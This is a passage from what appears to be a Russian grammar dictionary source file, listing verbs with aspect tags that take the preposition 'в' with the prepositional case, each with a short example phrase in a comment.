rus_verbs:сочетать{}, // сочетать в себе rus_verbs:подрабатывать{}, // подрабатывать в магазине rus_verbs:репетировать{}, // репетировать в студии rus_verbs:рябить{}, // рябить в глазах rus_verbs:намочить{}, // намочить в луже rus_verbs:скатать{}, // скатать в руке rus_verbs:одевать{}, // одевать в магазине rus_verbs:испечь{}, // испечь в духовке rus_verbs:сбрить{}, // сбрить в подмышках rus_verbs:зажужжать{}, // зажужжать в ухе rus_verbs:сберечь{}, // сберечь в тайном месте rus_verbs:согреться{}, // согреться в хижине инфинитив:дебютировать{ вид:несоверш }, инфинитив:дебютировать{ вид:соверш }, // дебютировать в спектакле глагол:дебютировать{ вид:несоверш }, глагол:дебютировать{ вид:соверш }, rus_verbs:переплыть{}, // переплыть в лодочке rus_verbs:передохнуть{}, // передохнуть в тени rus_verbs:отсвечивать{}, // отсвечивать в зеркалах rus_verbs:переправляться{}, // переправляться в лодках rus_verbs:накупить{}, // накупить в магазине rus_verbs:проторчать{}, // проторчать в очереди rus_verbs:проскальзывать{}, // проскальзывать в сообщениях rus_verbs:застукать{}, // застукать в солярии rus_verbs:наесть{}, // наесть в отпуске rus_verbs:подвизаться{}, // подвизаться в новом деле rus_verbs:вычистить{}, // вычистить в саду rus_verbs:кормиться{}, // кормиться в лесу rus_verbs:покурить{}, // покурить в саду rus_verbs:понизиться{}, // понизиться в ранге rus_verbs:зимовать{}, // зимовать в избушке rus_verbs:проверяться{}, // проверяться в службе безопасности rus_verbs:подпирать{}, // подпирать в первом забое rus_verbs:кувыркаться{}, // кувыркаться в постели rus_verbs:похрапывать{}, // похрапывать в постели rus_verbs:завязнуть{}, // завязнуть в песке rus_verbs:трактовать{}, // трактовать в исследовательской статье rus_verbs:замедляться{}, // замедляться в тяжелой воде rus_verbs:шастать{}, // шастать в здании rus_verbs:заночевать{}, // заночевать в пути rus_verbs:наметиться{}, // наметиться в исследованиях рака rus_verbs:освежить{}, // освежить в памяти rus_verbs:оспаривать{}, // оспаривать в суде rus_verbs:умещаться{}, // умещаться в ячейке rus_verbs:искупить{}, // искупить в бою rus_verbs:отсиживаться{}, // отсиживаться в тылу rus_verbs:мчать{}, // мчать в кабриолете rus_verbs:обличать{}, // обличать в своем выступлении rus_verbs:сгнить{}, // сгнить в тюряге rus_verbs:опробовать{}, // опробовать в деле rus_verbs:тренировать{}, // тренировать в зале rus_verbs:прославить{}, // прославить в академии rus_verbs:учитываться{}, // учитываться в дипломной работе rus_verbs:повеселиться{}, // повеселиться в лагере rus_verbs:поумнеть{}, // поумнеть в карцере rus_verbs:перестрелять{}, // перестрелять в воздухе rus_verbs:проведать{}, // проведать в больнице rus_verbs:измучиться{}, // измучиться в деревне rus_verbs:прощупать{}, // прощупать в глубине rus_verbs:изготовлять{}, // изготовлять в сарае rus_verbs:свирепствовать{}, // свирепствовать в популяции rus_verbs:иссякать{}, // иссякать в источнике rus_verbs:гнездиться{}, // гнездиться в дупле rus_verbs:разогнаться{}, // разогнаться в спортивной машине rus_verbs:опознавать{}, // опознавать в неизвестном rus_verbs:засвидетельствовать{}, // засвидетельствовать в суде rus_verbs:сконцентрировать{}, // сконцентрировать в своих руках rus_verbs:редактировать{}, // редактировать в редакторе rus_verbs:покупаться{}, // покупаться в магазине rus_verbs:промышлять{}, // промышлять в роще rus_verbs:растягиваться{}, // растягиваться в коридоре rus_verbs:приобретаться{}, // приобретаться в антикварных лавках инфинитив:подрезать{ вид:несоверш }, инфинитив:подрезать{ вид:соверш }, // подрезать в воде глагол:подрезать{ вид:несоверш }, глагол:подрезать{ вид:соверш }, rus_verbs:запечатлеться{}, // запечатлеться в мозгу rus_verbs:укрывать{}, // укрывать в подвале rus_verbs:закрепиться{}, // закрепиться в первой башне rus_verbs:освежать{}, // освежать в памяти rus_verbs:громыхать{}, // громыхать в ванной инфинитив:подвигаться{ вид:соверш }, инфинитив:подвигаться{ вид:несоверш }, // подвигаться в кровати глагол:подвигаться{ вид:соверш }, глагол:подвигаться{ вид:несоверш }, rus_verbs:добываться{}, // добываться в шахтах rus_verbs:растворить{}, // растворить в кислоте rus_verbs:приплясывать{}, // приплясывать в гримерке rus_verbs:доживать{}, // доживать в доме престарелых rus_verbs:отпраздновать{}, // отпраздновать в ресторане rus_verbs:сотрясаться{}, // сотрясаться в конвульсиях rus_verbs:помыть{}, // помыть в проточной воде инфинитив:увязать{ вид:несоверш }, инфинитив:увязать{ вид:соверш }, // увязать в песке глагол:увязать{ вид:несоверш }, глагол:увязать{ вид:соверш }, прилагательное:увязавший{ вид:несоверш }, rus_verbs:наличествовать{}, // наличествовать в запаснике rus_verbs:нащупывать{}, // нащупывать в кармане rus_verbs:повествоваться{}, // повествоваться в рассказе rus_verbs:отремонтировать{}, // отремонтировать в техцентре rus_verbs:покалывать{}, // покалывать в правом боку rus_verbs:сиживать{}, // сиживать в саду rus_verbs:разрабатываться{}, // разрабатываться в секретных лабораториях rus_verbs:укрепляться{}, // укрепляться в мнении rus_verbs:разниться{}, // разниться во взглядах rus_verbs:сполоснуть{}, // сполоснуть в водичке rus_verbs:скупать{}, // скупать в магазине rus_verbs:почесывать{}, // почесывать в паху rus_verbs:оформлять{}, // оформлять в конторе rus_verbs:распускаться{}, // распускаться в садах rus_verbs:зарябить{}, // зарябить в глазах rus_verbs:загореть{}, // загореть в Испании rus_verbs:очищаться{}, // очищаться в баке rus_verbs:остудить{}, // остудить в холодной воде rus_verbs:разбомбить{}, // разбомбить в горах rus_verbs:издохнуть{}, // издохнуть в бедности rus_verbs:проехаться{}, // проехаться в новой машине rus_verbs:задействовать{}, // задействовать в анализе rus_verbs:произрастать{}, // произрастать в степи rus_verbs:разуться{}, // разуться в прихожей rus_verbs:сооружать{}, // сооружать в огороде rus_verbs:зачитывать{}, // зачитывать в суде rus_verbs:состязаться{}, // состязаться в остроумии rus_verbs:ополоснуть{}, // ополоснуть в молоке rus_verbs:уместиться{}, // уместиться в кармане rus_verbs:совершенствоваться{}, // совершенствоваться в управлении мотоциклом rus_verbs:стираться{}, // стираться в стиральной машине rus_verbs:искупаться{}, // искупаться в прохладной реке rus_verbs:курировать{}, // курировать в правительстве rus_verbs:закупить{}, // закупить в магазине rus_verbs:плодиться{}, // плодиться в подходящих условиях rus_verbs:горланить{}, // горланить в парке rus_verbs:першить{}, // першить в горле rus_verbs:пригрезиться{}, // пригрезиться во сне rus_verbs:исправлять{}, // исправлять в тетрадке rus_verbs:расслабляться{}, // расслабляться в гамаке rus_verbs:скапливаться{}, // скапливаться в нижней части rus_verbs:сплетничать{}, // сплетничают в комнате rus_verbs:раздевать{}, // раздевать в кабинке rus_verbs:окопаться{}, // окопаться в лесу rus_verbs:загорать{}, // загорать в Испании rus_verbs:подпевать{}, // подпевать в церковном хоре rus_verbs:прожужжать{}, // прожужжать в динамике rus_verbs:изучаться{}, // изучаться в дикой природе rus_verbs:заклубиться{}, // заклубиться в воздухе rus_verbs:подметать{}, // подметать в зале rus_verbs:подозреваться{}, // подозреваться в совершении кражи rus_verbs:обогащать{}, // обогащать в специальном аппарате rus_verbs:издаться{}, // издаться в другом издательстве rus_verbs:справить{}, // справить в кустах нужду rus_verbs:помыться{}, // помыться в бане rus_verbs:проскакивать{}, // проскакивать в словах rus_verbs:попивать{}, // попивать в кафе чай rus_verbs:оформляться{}, // оформляться в регистратуре rus_verbs:чирикать{}, // чирикать в кустах rus_verbs:скупить{}, // скупить в магазинах rus_verbs:переночевать{}, // переночевать в гостинице rus_verbs:концентрироваться{}, // концентрироваться в пробирке rus_verbs:одичать{}, // одичать в лесу rus_verbs:ковырнуть{}, // ковырнуть в ухе rus_verbs:затеплиться{}, // затеплиться в глубине души rus_verbs:разгрести{}, // разгрести в задачах залежи rus_verbs:застопориться{}, // застопориться в начале списка rus_verbs:перечисляться{}, // перечисляться во введении rus_verbs:покататься{}, // покататься в парке аттракционов rus_verbs:изловить{}, // изловить в поле rus_verbs:прославлять{}, // прославлять в стихах rus_verbs:промочить{}, // промочить в луже rus_verbs:поделывать{}, // поделывать в отпуске rus_verbs:просуществовать{}, // просуществовать в первобытном состоянии rus_verbs:подстеречь{}, // подстеречь в подъезде rus_verbs:прикупить{}, // прикупить в магазине rus_verbs:перемешивать{}, // перемешивать в кастрюле rus_verbs:тискать{}, // тискать в углу rus_verbs:купать{}, // купать в теплой водичке rus_verbs:завариться{}, // завариться в стакане rus_verbs:притулиться{}, // притулиться в углу rus_verbs:пострелять{}, // пострелять в тире rus_verbs:навесить{}, // навесить в больнице инфинитив:изолировать{ вид:соверш }, инфинитив:изолировать{ вид:несоверш }, // изолировать в камере глагол:изолировать{ вид:соверш }, глагол:изолировать{ вид:несоверш }, rus_verbs:нежиться{}, // нежится в постельке rus_verbs:притомиться{}, // притомиться в школе rus_verbs:раздвоиться{}, // раздвоиться в глазах rus_verbs:навалить{}, // навалить в углу rus_verbs:замуровать{}, // замуровать в склепе rus_verbs:поселяться{}, // поселяться в кроне дуба rus_verbs:потягиваться{}, // потягиваться в кровати rus_verbs:укачать{}, // укачать в поезде rus_verbs:отлеживаться{}, // отлеживаться в гамаке rus_verbs:разменять{}, // разменять в кассе rus_verbs:прополоскать{}, // прополоскать в чистой теплой воде rus_verbs:ржаветь{}, // ржаветь в воде rus_verbs:уличить{}, // уличить в плагиате rus_verbs:мутиться{}, // мутиться в голове rus_verbs:растворять{}, // растворять в бензоле rus_verbs:двоиться{}, // двоиться в глазах rus_verbs:оговорить{}, // оговорить в договоре rus_verbs:подделать{}, // подделать в документе rus_verbs:зарегистрироваться{}, // зарегистрироваться в социальной сети rus_verbs:растолстеть{}, // растолстеть в талии rus_verbs:повоевать{}, // повоевать в городских условиях rus_verbs:прибраться{}, // гнушаться прибраться в хлеву rus_verbs:поглощаться{}, // поглощаться в металлической фольге rus_verbs:ухать{}, // ухать в лесу rus_verbs:подписываться{}, // подписываться в петиции rus_verbs:покатать{}, // покатать в машинке rus_verbs:излечиться{}, // излечиться в клинике rus_verbs:трепыхаться{}, // трепыхаться в мешке rus_verbs:кипятить{}, // кипятить в кастрюле rus_verbs:понастроить{}, // понастроить в прибрежной зоне rus_verbs:перебывать{}, // перебывать во всех европейских столицах rus_verbs:оглашать{}, // оглашать в итоговой части rus_verbs:преуспевать{}, // преуспевать в новом бизнесе rus_verbs:консультироваться{}, // консультироваться в техподдержке rus_verbs:накапливать{}, // накапливать в печени rus_verbs:перемешать{}, // перемешать в контейнере rus_verbs:наследить{}, // наследить в коридоре rus_verbs:выявиться{}, // выявиться в результе rus_verbs:забулькать{}, // забулькать в болоте rus_verbs:отваривать{}, // отваривать в молоке rus_verbs:запутываться{}, // запутываться в веревках rus_verbs:нагреться{}, // нагреться в микроволновой печке rus_verbs:рыбачить{}, // рыбачить в открытом море rus_verbs:укорениться{}, // укорениться в сознании широких народных масс rus_verbs:умывать{}, // умывать в тазике rus_verbs:защекотать{}, // защекотать в носу rus_verbs:заходиться{}, // заходиться в плаче инфинитив:искупать{ вид:соверш }, инфинитив:искупать{ вид:несоверш }, // искупать в прохладной водичке глагол:искупать{ вид:соверш }, глагол:искупать{ вид:несоверш }, деепричастие:искупав{}, деепричастие:искупая{}, rus_verbs:заморозить{}, // заморозить в холодильнике rus_verbs:закреплять{}, // закреплять в металлическом держателе rus_verbs:расхватать{}, // расхватать в магазине rus_verbs:истязать{}, // истязать в тюремном подвале rus_verbs:заржаветь{}, // заржаветь во влажной атмосфере rus_verbs:обжаривать{}, // обжаривать в подсолнечном масле rus_verbs:умереть{}, // Ты, подлый предатель, умрешь в нищете rus_verbs:подогреть{}, // подогрей в микроволновке rus_verbs:подогревать{}, rus_verbs:затянуть{}, // Кузнечики, сверчки, скрипачи и медведки затянули в траве свою трескучую музыку rus_verbs:проделать{}, // проделать в стене дыру инфинитив:жениться{ вид:соверш }, // жениться в Техасе инфинитив:жениться{ вид:несоверш }, глагол:жениться{ вид:соверш }, глагол:жениться{ вид:несоверш }, деепричастие:женившись{}, деепричастие:женясь{}, прилагательное:женатый{}, прилагательное:женившийся{вид:соверш}, прилагательное:женящийся{}, rus_verbs:всхрапнуть{}, // всхрапнуть во сне rus_verbs:всхрапывать{}, // всхрапывать во сне rus_verbs:ворочаться{}, // Собака ворочается во сне rus_verbs:воссоздаваться{}, // воссоздаваться в памяти rus_verbs:акклиматизироваться{}, // альпинисты готовятся акклиматизироваться в горах инфинитив:атаковать{ вид:несоверш }, // взвод был атакован в лесу инфинитив:атаковать{ вид:соверш }, глагол:атаковать{ вид:несоверш }, глагол:атаковать{ вид:соверш }, прилагательное:атакованный{}, прилагательное:атаковавший{}, прилагательное:атакующий{}, инфинитив:аккумулировать{вид:несоверш}, // энергия была аккумулирована в печени инфинитив:аккумулировать{вид:соверш}, глагол:аккумулировать{вид:несоверш}, глагол:аккумулировать{вид:соверш}, прилагательное:аккумулированный{}, прилагательное:аккумулирующий{}, //прилагательное:аккумулировавший{ вид:несоверш }, прилагательное:аккумулировавший{ вид:соверш }, rus_verbs:врисовывать{}, // врисовывать нового персонажа в анимацию rus_verbs:вырасти{}, // Он вырос в глазах коллег. rus_verbs:иметь{}, // Он всегда имел в резерве острое словцо. rus_verbs:убить{}, // убить в себе зверя инфинитив:абсорбироваться{ вид:соверш }, // жидкость абсорбируется в поглощающей ткани инфинитив:абсорбироваться{ вид:несоверш }, глагол:абсорбироваться{ вид:соверш }, глагол:абсорбироваться{ вид:несоверш }, rus_verbs:поставить{}, // поставить в углу rus_verbs:сжимать{}, // сжимать в кулаке rus_verbs:готовиться{}, // альпинисты готовятся акклиматизироваться в горах rus_verbs:аккумулироваться{}, // энергия аккумулируется в жировых отложениях инфинитив:активизироваться{ вид:несоверш }, // в горах активизировались повстанцы инфинитив:активизироваться{ вид:соверш }, глагол:активизироваться{ вид:несоверш }, глагол:активизироваться{ вид:соверш }, rus_verbs:апробировать{}, // пилот апробировал в ходе испытаний новый режим планера rus_verbs:арестовать{}, // наркодилер был арестован в помещении кафе rus_verbs:базировать{}, // установка будет базирована в лесу rus_verbs:барахтаться{}, // дети барахтались в воде rus_verbs:баррикадироваться{}, // преступники баррикадируются в помещении банка rus_verbs:барствовать{}, // Семен Семенович барствовал в своей деревне rus_verbs:бесчинствовать{}, // Боевики бесчинствовали в захваченном селе rus_verbs:блаженствовать{}, // Воробьи блаженствовали в кроне рябины rus_verbs:блуждать{}, // Туристы блуждали в лесу rus_verbs:брать{}, // Жена берет деньги в тумбочке rus_verbs:бродить{}, // парочки бродили в парке rus_verbs:обойти{}, // Бразилия обошла Россию в рейтинге rus_verbs:задержать{}, // Знаменитый советский фигурист задержан в США rus_verbs:бултыхаться{}, // Ноги бултыхаются в воде rus_verbs:вариться{}, // Курица варится в кастрюле rus_verbs:закончиться{}, // Эта рецессия закончилась в 2003 году rus_verbs:прокручиваться{}, // Ключ прокручивается в замке rus_verbs:прокрутиться{}, // Ключ трижды прокрутился в замке rus_verbs:храниться{}, // Настройки хранятся в текстовом файле rus_verbs:сохраняться{}, // Настройки сохраняются в текстовом файле rus_verbs:витать{}, // Мальчик витает в облаках rus_verbs:владычествовать{}, // Король владычествует в стране rus_verbs:властвовать{}, // Олигархи властвовали в стране rus_verbs:возбудить{}, // возбудить в сердце тоску rus_verbs:возбуждать{}, // возбуждать в сердце тоску rus_verbs:возвыситься{}, // возвыситься в глазах современников rus_verbs:возжечь{}, // возжечь в храме огонь rus_verbs:возжечься{}, // Огонь возжёгся в храме rus_verbs:возжигать{}, // возжигать в храме огонь rus_verbs:возжигаться{}, // Огонь возжигается в храме rus_verbs:вознамериваться{}, // вознамериваться уйти в монастырь rus_verbs:вознамериться{}, // вознамериться уйти в монастырь rus_verbs:возникать{}, // Новые идеи неожиданно возникают в колиной голове rus_verbs:возникнуть{}, // Новые идейки возникли в голове rus_verbs:возродиться{}, // возродиться в новом качестве rus_verbs:возрождать{}, // возрождать в новом качестве rus_verbs:возрождаться{}, // возрождаться в новом амплуа rus_verbs:ворошить{}, // ворошить в камине кочергой золу rus_verbs:воспевать{}, // Поэты воспевают героев в одах rus_verbs:воспеваться{}, // Герои воспеваются в одах поэтами rus_verbs:воспеть{}, // Поэты воспели в этой оде героев rus_verbs:воспретить{}, // воспретить в помещении азартные игры rus_verbs:восславить{}, // Поэты восславили в одах rus_verbs:восславлять{}, // Поэты восславляют в одах rus_verbs:восславляться{}, // Героя восславляются в одах rus_verbs:воссоздать{}, // воссоздает в памяти образ человека rus_verbs:воссоздавать{}, // воссоздать в памяти образ человека rus_verbs:воссоздаться{}, // воссоздаться в памяти rus_verbs:вскипятить{}, // вскипятить в чайнике воду rus_verbs:вскипятиться{}, // вскипятиться в чайнике rus_verbs:встретить{}, // встретить в классе старого приятеля rus_verbs:встретиться{}, // встретиться в классе rus_verbs:встречать{}, // встречать в лесу голодного медведя rus_verbs:встречаться{}, // встречаться в кафе rus_verbs:выбривать{}, // выбривать что-то в подмышках rus_verbs:выбрить{}, // выбрить что-то в паху rus_verbs:вывалять{}, // вывалять кого-то в грязи rus_verbs:вываляться{}, // вываляться в грязи rus_verbs:вываривать{}, // вываривать в молоке rus_verbs:вывариваться{}, // вывариваться в молоке rus_verbs:выварить{}, // выварить в молоке rus_verbs:вывариться{}, // вывариться в молоке rus_verbs:выгрызать{}, // выгрызать в сыре отверствие rus_verbs:выгрызть{}, // выгрызть в сыре отверстие rus_verbs:выгуливать{}, // выгуливать в парке собаку rus_verbs:выгулять{}, // выгулять в парке собаку rus_verbs:выдолбить{}, // выдолбить в стволе углубление rus_verbs:выжить{}, // выжить в пустыне rus_verbs:Выискать{}, // Выискать в программе ошибку rus_verbs:выискаться{}, // Ошибка выискалась в программе rus_verbs:выискивать{}, // выискивать в программе ошибку rus_verbs:выискиваться{}, // выискиваться в программе rus_verbs:выкраивать{}, // выкраивать в расписании время rus_verbs:выкраиваться{}, // выкраиваться в расписании инфинитив:выкупаться{aux stress="в^ыкупаться"}, // выкупаться в озере глагол:выкупаться{вид:соверш}, rus_verbs:выловить{}, // выловить в пруду rus_verbs:вымачивать{}, // вымачивать в молоке rus_verbs:вымачиваться{}, // вымачиваться в молоке rus_verbs:вынюхивать{}, // вынюхивать в траве следы rus_verbs:выпачкать{}, // выпачкать в смоле свою одежду rus_verbs:выпачкаться{}, // выпачкаться в грязи rus_verbs:вырастить{}, // вырастить в теплице ведро огурчиков rus_verbs:выращивать{}, // выращивать в теплице помидоры rus_verbs:выращиваться{}, // выращиваться в теплице rus_verbs:вырыть{}, // вырыть в земле глубокую яму rus_verbs:высадить{}, // высадить в пустынной местности rus_verbs:высадиться{}, // высадиться в пустынной местности rus_verbs:высаживать{}, // высаживать в пустыне rus_verbs:высверливать{}, // высверливать в доске отверствие rus_verbs:высверливаться{}, // высверливаться в стене rus_verbs:высверлить{}, // высверлить в стене отверствие rus_verbs:высверлиться{}, // высверлиться в стене rus_verbs:выскоблить{}, // выскоблить в столешнице канавку rus_verbs:высматривать{}, // высматривать в темноте rus_verbs:заметить{}, // заметить в помещении rus_verbs:оказаться{}, // оказаться в первых рядах rus_verbs:душить{}, // душить в объятиях rus_verbs:оставаться{}, // оставаться в классе rus_verbs:появиться{}, // впервые появиться в фильме rus_verbs:лежать{}, // лежать в футляре rus_verbs:раздаться{}, // раздаться в плечах rus_verbs:ждать{}, // ждать в здании вокзала rus_verbs:жить{}, // жить в трущобах rus_verbs:постелить{}, // постелить в прихожей rus_verbs:оказываться{}, // оказываться в неприятной ситуации rus_verbs:держать{}, // держать в голове rus_verbs:обнаружить{}, // обнаружить в себе способность rus_verbs:начинать{}, // начинать в лаборатории rus_verbs:рассказывать{}, // рассказывать в лицах rus_verbs:ожидать{}, // ожидать в помещении rus_verbs:продолжить{}, // продолжить в помещении rus_verbs:состоять{}, // состоять в группе rus_verbs:родиться{}, // родиться в рубашке rus_verbs:искать{}, // искать в кармане rus_verbs:иметься{}, // иметься в наличии rus_verbs:говориться{}, // говориться в среде панков rus_verbs:клясться{}, // клясться в верности rus_verbs:узнавать{}, // узнавать в нем своего сына rus_verbs:признаться{}, // признаться в ошибке rus_verbs:сомневаться{}, // сомневаться в искренности rus_verbs:толочь{}, // толочь в ступе rus_verbs:понадобиться{}, // понадобиться в суде rus_verbs:служить{}, // служить в пехоте rus_verbs:потолочь{}, // потолочь в ступе rus_verbs:появляться{}, // появляться в театре rus_verbs:сжать{}, // сжать в объятиях rus_verbs:действовать{}, // действовать в постановке rus_verbs:селить{}, // селить в гостинице rus_verbs:поймать{}, // поймать в лесу rus_verbs:увидать{}, // увидать в толпе rus_verbs:подождать{}, // подождать в кабинете rus_verbs:прочесть{}, // прочесть в глазах rus_verbs:тонуть{}, // тонуть в реке rus_verbs:ощущать{}, // ощущать в животе rus_verbs:ошибиться{}, // ошибиться в расчетах rus_verbs:отметить{}, // отметить в списке rus_verbs:показывать{}, // показывать в динамике rus_verbs:скрыться{}, // скрыться в траве rus_verbs:убедиться{}, // убедиться в корректности rus_verbs:прозвучать{}, // прозвучать в наушниках rus_verbs:разговаривать{}, // разговаривать в фойе rus_verbs:издать{}, // издать в России rus_verbs:прочитать{}, // прочитать в газете rus_verbs:попробовать{}, // попробовать в деле rus_verbs:замечать{}, // замечать в программе ошибку rus_verbs:нести{}, // нести в руках rus_verbs:пропасть{}, // пропасть в плену rus_verbs:носить{}, // носить в кармане rus_verbs:гореть{}, // гореть в аду rus_verbs:поправить{}, // поправить в программе rus_verbs:застыть{}, // застыть в неудобной позе rus_verbs:получать{}, // получать в кассе rus_verbs:потребоваться{}, // потребоваться в работе rus_verbs:спрятать{}, // спрятать в шкафу rus_verbs:учиться{}, // учиться в институте rus_verbs:развернуться{}, // развернуться в коридоре rus_verbs:подозревать{}, // подозревать в мошенничестве rus_verbs:играть{}, // играть в команде rus_verbs:сыграть{}, // сыграть в команде rus_verbs:строить{}, // строить в деревне rus_verbs:устроить{}, // устроить в доме вечеринку rus_verbs:находить{}, // находить в лесу rus_verbs:нуждаться{}, // нуждаться в деньгах rus_verbs:испытать{}, // испытать в рабочей обстановке rus_verbs:мелькнуть{}, // мелькнуть в прицеле rus_verbs:очутиться{}, // очутиться в закрытом помещении инфинитив:использовать{вид:соверш}, // использовать в работе инфинитив:использовать{вид:несоверш}, глагол:использовать{вид:несоверш}, глагол:использовать{вид:соверш}, rus_verbs:лететь{}, // лететь в самолете rus_verbs:смеяться{}, // смеяться в цирке rus_verbs:ездить{}, // ездить в лимузине rus_verbs:заснуть{}, // заснуть в неудобной позе rus_verbs:застать{}, // застать в неформальной обстановке rus_verbs:очнуться{}, // очнуться в незнакомой обстановке rus_verbs:твориться{}, // Что творится в закрытой зоне rus_verbs:разглядеть{}, // разглядеть в темноте rus_verbs:изучать{}, // изучать в естественных условиях rus_verbs:удержаться{}, // удержаться в седле rus_verbs:побывать{}, // побывать в зоопарке rus_verbs:уловить{}, // уловить в словах нотку отчаяния rus_verbs:приобрести{}, // приобрести в лавке rus_verbs:исчезать{}, // исчезать в тумане rus_verbs:уверять{}, // уверять в своей невиновности rus_verbs:продолжаться{}, // продолжаться в воздухе rus_verbs:открывать{}, // открывать в городе новый стадион rus_verbs:поддержать{}, // поддержать в парке порядок rus_verbs:солить{}, // солить в бочке rus_verbs:прожить{}, // прожить в деревне rus_verbs:создавать{}, // создавать в театре rus_verbs:обсуждать{}, // обсуждать в коллективе rus_verbs:заказать{}, // заказать в магазине rus_verbs:отыскать{}, // отыскать в гараже rus_verbs:уснуть{}, // уснуть в кресле rus_verbs:задержаться{}, // задержаться в театре rus_verbs:подобрать{}, // подобрать в коллекции rus_verbs:пробовать{}, // пробовать в работе rus_verbs:курить{}, // курить в закрытом помещении rus_verbs:устраивать{}, // устраивать в лесу засаду rus_verbs:установить{}, // установить в багажнике rus_verbs:запереть{}, // запереть в сарае rus_verbs:содержать{}, // содержать в достатке rus_verbs:синеть{}, // синеть в кислородной атмосфере rus_verbs:слышаться{}, // слышаться в голосе rus_verbs:закрыться{}, // закрыться в здании rus_verbs:скрываться{}, // скрываться в квартире rus_verbs:родить{}, // родить в больнице rus_verbs:описать{}, // описать в заметках rus_verbs:перехватить{}, // перехватить в коридоре rus_verbs:менять{}, // менять в магазине rus_verbs:скрывать{}, // скрывать в чужой квартире rus_verbs:стиснуть{}, // стиснуть в стальных объятиях rus_verbs:останавливаться{}, // останавливаться в гостинице rus_verbs:мелькать{}, // мелькать в телевизоре rus_verbs:присутствовать{}, // присутствовать в аудитории rus_verbs:украсть{}, // украсть в магазине rus_verbs:победить{}, // победить в войне rus_verbs:расположиться{}, // расположиться в гостинице rus_verbs:упомянуть{}, // упомянуть в своей книге rus_verbs:плыть{}, // плыть в старой бочке rus_verbs:нащупать{}, // нащупать в глубине rus_verbs:проявляться{}, // проявляться в работе rus_verbs:затихнуть{}, // затихнуть в норе rus_verbs:построить{}, // построить в гараже rus_verbs:поддерживать{}, // поддерживать в исправном состоянии rus_verbs:заработать{}, // заработать в стартапе rus_verbs:сломать{}, // сломать в суставе rus_verbs:снимать{}, // снимать в гардеробе rus_verbs:сохранить{}, // сохранить в коллекции rus_verbs:располагаться{}, // располагаться в отдельном кабинете rus_verbs:сражаться{}, // сражаться в честном бою rus_verbs:спускаться{}, // спускаться в батискафе rus_verbs:уничтожить{}, // уничтожить в схроне rus_verbs:изучить{}, // изучить в естественных условиях rus_verbs:рождаться{}, // рождаться в муках rus_verbs:пребывать{}, // пребывать в прострации rus_verbs:прилететь{}, // прилететь в аэробусе rus_verbs:догнать{}, // догнать в переулке rus_verbs:изобразить{}, // изобразить в танце rus_verbs:проехать{}, // проехать в легковушке rus_verbs:убедить{}, // убедить в разумности rus_verbs:приготовить{}, // приготовить в духовке rus_verbs:собирать{}, // собирать в лесу rus_verbs:поплыть{}, // поплыть в катере rus_verbs:доверять{}, // доверять в управлении rus_verbs:разобраться{}, // разобраться в законах rus_verbs:ловить{}, // ловить в озере rus_verbs:проесть{}, // проесть в куске металла отверстие rus_verbs:спрятаться{}, // спрятаться в подвале rus_verbs:провозгласить{}, // провозгласить в речи rus_verbs:изложить{}, // изложить в своём выступлении rus_verbs:замяться{}, // замяться в коридоре rus_verbs:раздаваться{}, // Крик ягуара раздается в джунглях rus_verbs:доказать{}, // Автор доказал в своей работе, что теорема верна rus_verbs:хранить{}, // хранить в шкатулке rus_verbs:шутить{}, // шутить в классе глагол:рассыпаться{ aux stress="рассып^аться" }, // рассыпаться в извинениях инфинитив:рассыпаться{ aux stress="рассып^аться" }, rus_verbs:чертить{}, // чертить в тетрадке rus_verbs:отразиться{}, // отразиться в аттестате rus_verbs:греть{}, // греть в микроволновке rus_verbs:зарычать{}, // Кто-то зарычал в глубине леса rus_verbs:рассуждать{}, // Автор рассуждает в своей статье rus_verbs:освободить{}, // Обвиняемые были освобождены в зале суда rus_verbs:окружать{}, // окружать в лесу rus_verbs:сопровождать{}, // сопровождать в операции rus_verbs:заканчиваться{}, // заканчиваться в дороге rus_verbs:поселиться{}, // поселиться в загородном доме rus_verbs:охватывать{}, // охватывать в хронологии rus_verbs:запеть{}, // запеть в кино инфинитив:провозить{вид:несоверш}, // провозить в багаже глагол:провозить{вид:несоверш}, rus_verbs:мочить{}, // мочить в сортире rus_verbs:перевернуться{}, // перевернуться в полёте rus_verbs:улететь{}, // улететь в теплые края rus_verbs:сдержать{}, // сдержать в руках rus_verbs:преследовать{}, // преследовать в любой другой стране rus_verbs:драться{}, // драться в баре rus_verbs:просидеть{}, // просидеть в классе rus_verbs:убираться{}, // убираться в квартире rus_verbs:содрогнуться{}, // содрогнуться в приступе отвращения rus_verbs:пугать{}, // пугать в прессе rus_verbs:отреагировать{}, // отреагировать в прессе rus_verbs:проверять{}, // проверять в аппарате rus_verbs:убеждать{}, // убеждать в отсутствии альтернатив rus_verbs:летать{}, // летать в комфортабельном частном самолёте rus_verbs:толпиться{}, // толпиться в фойе rus_verbs:плавать{}, // плавать в специальном костюме rus_verbs:пробыть{}, // пробыть в воде слишком долго rus_verbs:прикинуть{}, // прикинуть в уме rus_verbs:застрять{}, // застрять в лифте rus_verbs:метаться{}, // метаться в кровате rus_verbs:сжечь{}, // сжечь в печке rus_verbs:расслабиться{}, // расслабиться в ванной rus_verbs:услыхать{}, // услыхать в автобусе rus_verbs:удержать{}, // удержать в вертикальном положении rus_verbs:образоваться{}, // образоваться в верхних слоях атмосферы rus_verbs:рассмотреть{}, // рассмотреть в капле воды rus_verbs:просмотреть{}, // просмотреть в браузере rus_verbs:учесть{}, // учесть в планах rus_verbs:уезжать{}, // уезжать в чьей-то машине rus_verbs:похоронить{}, // похоронить в мерзлой земле rus_verbs:растянуться{}, // растянуться в расслабленной позе rus_verbs:обнаружиться{}, // обнаружиться в чужой сумке rus_verbs:гулять{}, // гулять в парке rus_verbs:утонуть{}, // утонуть в реке rus_verbs:зажать{}, // зажать в медвежьих объятиях rus_verbs:усомниться{}, // усомниться в объективности rus_verbs:танцевать{}, // танцевать в спортзале rus_verbs:проноситься{}, // проноситься в голове rus_verbs:трудиться{}, // трудиться в кооперативе глагол:засыпать{ aux stress="засып^ать" переходность:непереходный }, // засыпать в спальном мешке инфинитив:засыпать{ aux stress="засып^ать" переходность:непереходный }, rus_verbs:сушить{}, // сушить в сушильном шкафу rus_verbs:зашевелиться{}, // зашевелиться в траве rus_verbs:обдумывать{}, // обдумывать в спокойной обстановке rus_verbs:промелькнуть{}, // промелькнуть в окне rus_verbs:поучаствовать{}, // поучаствовать в обсуждении rus_verbs:закрыть{}, // закрыть в комнате rus_verbs:запирать{}, // запирать в комнате rus_verbs:закрывать{}, // закрывать в доме rus_verbs:заблокировать{}, // заблокировать в доме rus_verbs:зацвести{}, // В садах зацвела сирень rus_verbs:кричать{}, // Какое-то животное кричало в ночном лесу. rus_verbs:поглотить{}, // 